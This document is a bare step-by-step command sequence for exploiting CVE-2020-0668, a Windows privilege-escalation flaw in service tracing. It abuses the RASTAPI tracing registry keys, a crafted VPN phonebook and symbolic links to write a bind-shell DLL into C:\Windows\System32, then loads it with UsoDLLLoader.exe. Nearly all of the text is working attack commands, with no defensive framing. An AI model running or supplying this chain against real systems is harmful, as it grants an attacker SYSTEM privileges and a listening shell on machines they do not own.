CVE-2020-0668 - Windows LPE

PowerShell.exe 

ProcMon.exe
- Path Includes C:\Exploit
- Process Name: svchost.exe

Add-VpnConnection -Name "hacknroll" -ServerAddress "0.0.0.0" -PassThru

REG QUERY HKLM\SOFTWARE\Microsoft\Tracing

AccessChk.exe /accepteula -qusk "Users" HKLM\SOFTWARE\Microsoft\Tracing

REG QUERY HKLM\SOFTWARE\Microsoft\Tracing\RASTAPI

cls

cd \Exploit

MkDir Logs

REG QUERY HKLM\SOFTWARE\Microsoft\Tracing\RASTAPI

REG ADD HKLM\SOFTWARE\Microsoft\Tracing\RASTAPI /V FileDirectory /D "C:\Exploit\Logs" /T REG_EXPAND_SZ /F

REG ADD HKLM\SOFTWARE\Microsoft\Tracing\RASTAPI /v EnableFileTracing /d 1 /T REG_DWORD /F

REG QUERY HKLM\SOFTWARE\Microsoft\Tracing\RASTAPI

type C:\Exploit\hacknroll.pbk

RasDial HACKNROLL test test /PHONEBOOK:hacknroll.pbk

Get-ChildItem ".\Logs\" -Force

Get-ChildItem ".\Logs\" -Force | Select Name,@{Name="Owner";Expression={(Get-ACL $_.FullName).Owner}}

REG QUERY HKLM\SOFTWARE\Microsoft\Tracing\RASTAPI

REG ADD HKLM\SOFTWARE\Microsoft\Tracing\RASTAPI /v EnableFileTracing /d 0 /T REG_DWORD /F

REG ADD HKLM\SOFTWARE\Microsoft\Tracing\RASTAPI /v MaxFileSize /d 0x8000 /T REG_DWORD /F

REG QUERY HKLM\SOFTWARE\Microsoft\Tracing\RASTAPI

RasDial HACKNROLL test test /PHONEBOOK:hacknroll.pbk

Get-ChildItem ".\Logs\" -Force | Select Name,@{Name="Owner";Expression={(Get-ACL $_.FullName).Owner}}

============= EXPLOIT ==========

REG QUERY HKLM\SOFTWARE\Microsoft\Tracing\RASTAPI

REG ADD HKLM\SOFTWARE\Microsoft\Tracing\RASTAPI /v EnableFileTracing /d 0 /T REG_DWORD /F

Del Logs\*

cmd /c start "" CreateSymlink.exe "C:\Exploit\Logs\RASTAPI.LOG" "C:\Exploit\QueryDeviceInformation2bindshell1337.dll"
cmd /c start "" CreateSymlink.exe "C:\Exploit\Logs\RASTAPI.OLD" "C:\Windows\System32\WindowsCoreDeviceInfo.dll"

Dir C:\Windows\System32\WindowsCoreDeviceInfo.dll

Dir C:\Exploit\QueryDeviceInformation2bindshell1337.dll

REG ADD HKLM\SOFTWARE\Microsoft\Tracing\RASTAPI /v EnableFileTracing /d 1 /T REG_DWORD /f
https://itm4n.github.io/cve-2020-0668-windows-service-tracing-eop/
REG QUERY HKLM\SOFTWARE\Microsoft\Tracing\RASTAPI

RasDial HACKNROLL test test /PHONEBOOK:hacknroll.pbk

Dir C:\Windows\System32\WindowsCoreDeviceInfo.dll

UsoDLLLoader.exe